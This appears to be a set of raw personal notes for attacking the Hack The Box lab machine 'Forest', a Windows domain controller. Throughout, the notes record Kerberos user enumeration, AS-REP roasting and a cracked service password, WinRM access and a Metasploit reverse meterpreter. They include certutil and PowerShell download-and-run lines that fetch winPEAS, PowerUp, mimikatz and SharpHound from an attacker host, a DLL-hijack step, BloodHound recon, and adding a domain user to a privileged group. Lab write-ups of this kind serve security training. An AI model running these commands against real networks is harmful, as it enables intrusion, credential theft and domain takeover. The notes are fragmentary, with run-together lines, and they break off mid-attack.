- Kerberos
- Kerberoasting
- 5985
- evil winmr
- Windows Server 2016 Standard 14393
- SMB guest but enabled and required
brute kerberos?
/opt/kerbrute userenum --dc 10.10.10.161 -d htb.local -v /opt/usernames/statistically-likely-usernames/service-accounts.txt --hash-file asrepHashes.txt | tee kerbrute.outfind only valid users:
cat kerbrute.out | grep '+' | awk '{print $7}' > usernames.txtUPDATED:
cat kerbrute.out | grep 'VALID USERNAME:'Kerberoast no password:
GetNPUsers.py -dc-ip 10.10.10.161 -no-pass htb.local/administratorKerberoast with no password or user:
GetNPUsers.py -dc-ip 10.10.10.161 htb.local/ -requestGetNPUsers.py htb.local/ -dc-ip 10.10.10.161 -requestWe get a hash:
user:
svc-alfresco:s3rvicekerbroast with credentials:
GetUserSPNs.py htb.local/svc-alfresco:s3rvice -dc-ip 10.10.10.161 -requestnothing!
share enum with credentials:
cme smb -u 'svc-alfresco' -p 's3rvice' --shares 10.10.10.161cme smb 10.10.10.161 -u 'htb.local\svc-alfresco' -p 's3rvice' --local-auth --sharesNothing!
Evil winrm time:
evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvicemigrate to metasploit using web delivery:
msfconsole
use exploit/multi/script/web_delivery
set lhost tun0
set payload windows/x64/meterpreter/reverse_http
set target 2 #PSH
set srvport 3999
run -j
sessions 1no getsystem, no incognito → impersonate
local suggester:
use post/multi/recon/local_exploit_suggesterresult:
x64:
set payload windows/x64/meterpreter/reverse_tcptransfer over PowerUp and winpeas:
certutil -urlcache -f http://10.10.14.23:81/winPEASx64.exe winpeas.exeecho IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.23:81/PowerUp.ps1') | powershell -noprofile -we found an abuse
PowerUp abuse:
send it over:
certutil -urlcache -f http://10.10.14.23:81/PowerUp.ps1 PowerUp.ps1powershell -ep bypass
. .\PowerUp.ps1huh
default last liner:
Invoke-AllChecksWrite-HijackDll -DllPath 'C:\Users\svc-alfresco\AppData\Local\Microsoft\WindowsApps\wlbsctrl.dll'run it:
Start-Process -FilePath "C:\Users\svc-alfresco\AppData\Local\Temp>CFncoaiZU.exe"Start-Process -FilePath "C:\users\svc-alfresco\desktop>PowerUp.ps1"meterpreter powershell:
powershell_execute 'Start-Process -FilePath "C:\Users\svc-alfresco\AppData\Local\Temp\CFncoaiZU.exe"'Mimikatz:
certutil -urlcache -f http://10.10.14.23:81/mimikatz.exe mk.exego back to desktop:
cd c:\users\svc-alfresco\desktopSend over Sherlock:
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.23:81/Sherlock.ps1') | powershell -noprofile -Nothing! Bloodhound:
sudo neo4j consolecd ~/.local/pipx/venvs/crackmapexec/bin/./bloodhound-python -d htb.local -u 'svc-alfresco' -p 's3rvice' -ns 10.10.10.161 --dns-timeout 30 -c all --zipDoesn’t work. Need to fix it with SharpHound
#Updated with dnschef:
./dnschef.py --fakeip 10.10.10.161bloodhoundpy command:
sudo /home/kali/.local/pipx/venvs/crackmapexec/bin/bloodhound-python -d htb.local -u 'svc-alfresco' -p 's3rvice' -ns 127.0.0.1 -c all --zipTake the outputs from the dnschef tab and add them to:
sudo mousepad dnschef.iniunder SRV (or whatever they are)
output:
(17:31:42) [*] 127.0.0.1: proxying the response of type 'SRV' for _ldap._tcp.gc._msdcs.htb.local
(17:31:42) [*] 127.0.0.1: proxying the response of type 'SRV' for _ldap._tcp.gc._msdcs.htb.local.localdomain
(17:31:42) [*] 127.0.0.1: proxying the response of type 'SRV' for _kerberos._tcp.dc._msdcs.htb.localcondensed:
_ldap._tcp.gc._msdcs.htb.local
_ldap._tcp.gc._msdcs.htb.local.localdomain
_kerberos._tcp.dc._msdcs.htb.localhow to make them work on dnschef:
_ldap._tcp.gc._msdcs.htb.local
#becomes
*.*.*._msdcs.htb.local=0 5 5060 dc1.htb.local[SRV]
; FORMAT: priority weight port target
*.*.thesprawl.org=0 5 5060 sipserver.fake.com
*.*.*._msdcs.htb.local=0 5 5060 dc1.htb.local
*.*.*.*.htb.local.localdomain=0 5 5060 dc1.htb.local
*.*.*.htb.local=0 5 5060 dc1.htb.localthen run command:
./dnschef.py --fakeip 10.10.10.161 --file dnschef.iniand bloodhound py it:
sudo /home/kali/.local/pipx/venvs/crackmapexec/bin/bloodhound-python -d htb.local -u 'svc-alfresco' -p 's3rvice' -ns 127.0.0.1 -c all --zip####################################
ldapdomain:
sudo ldapdomaindump ldaps://10.10.10.161 -u 'htb.local\svc-alfresco' -p s3rviceNothing.
Send over SharpHound:
certutil -urlcache -f http://10.10.14.23:81/SharpHound.exe sharpH.exerun sharphound to get the zip:
.\sharpH.exe -c alldownload the zip from meterpreter:
download C:\\Users\\svc-alfresco\\Desktop\\20240427041526_BloodHound.zip ~//Desktop//HackTheBox//Forestunzip then upload to bloodhound:
unzip 20240427041526_BloodHound.zipcomputers stuck. Analysis says we have-
##########################################################################
CanPSRemote = Remote Manage Users
Source: Lateral Movement (riccardoancarani.github.io)
CanPSRemote – BloodHound (bloodhoundenterprise.io)
What groups are we part of?
whoami /groupsadd bimmer user:
net user bimmer password /add /domainadd them to Exchange Permissions:
net group "Exchange Windows Permissions" /add bimmer